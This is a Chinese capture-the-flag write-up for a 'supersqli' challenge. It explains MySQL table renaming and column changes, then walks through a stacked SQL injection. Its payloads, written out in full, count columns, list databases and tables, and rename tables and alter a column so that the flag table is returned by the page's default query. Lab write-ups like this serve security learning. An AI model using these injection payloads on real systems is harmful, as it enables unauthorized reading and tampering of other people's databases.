supersqli
补充知识点
rename 命令格式: rename table 原表名 to 新表名
例如,在表myclass名字更改为youclass:
mysql>rename table myclass to youclass;
alter和change,使用change子句,语法有很大的不同。在change关键字之后,紧跟着的是你要修改的字段名,然后指定新字段名及类型,例子
mysql> alter table testalter_tbl change i j int
补充完成了这两个知识点我们来看题目
进入环境输入1a我们正常得到回显
所以判定为字符型sql注入,判断数据库有多少列
1' order by 3#
回显不正常,但by2回显正常确定为两列
-1' union select 1,2#
当使用联合注入判断回显位置的时候发现绊掉了一些关键字
我这里想使用堆叠注入来完成题目,我们使用show指令来查看数据库
1';show databases;#
接下来我们来show一下表
1';show tables;#
然后我们来看一下表的结构
-1';desc words;--+
1';desc `1919810931114514`;--+
根据这两个表的情况结合实际查询出结果的情况判断出words是默认查询的表,因为查询出的结果是一个数字加一个字符串,words表结构是id和data,传入的inject参数也就是赋值给了id
此时会想到禁用的函数并没有过滤掉rename和alert,所以我们可以采用修改表结构的方法来得到flag将words表明改为words1,再将数字名改为words,这样数字名表就是默认查询的表了,但是它少了一个id列,可以将flag字段改为id,或者添加id字段
1';rename table `words` to `words1`;rename table `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
然后我们用这个语句即可查出flag
1' or 1 = 1#
得到flag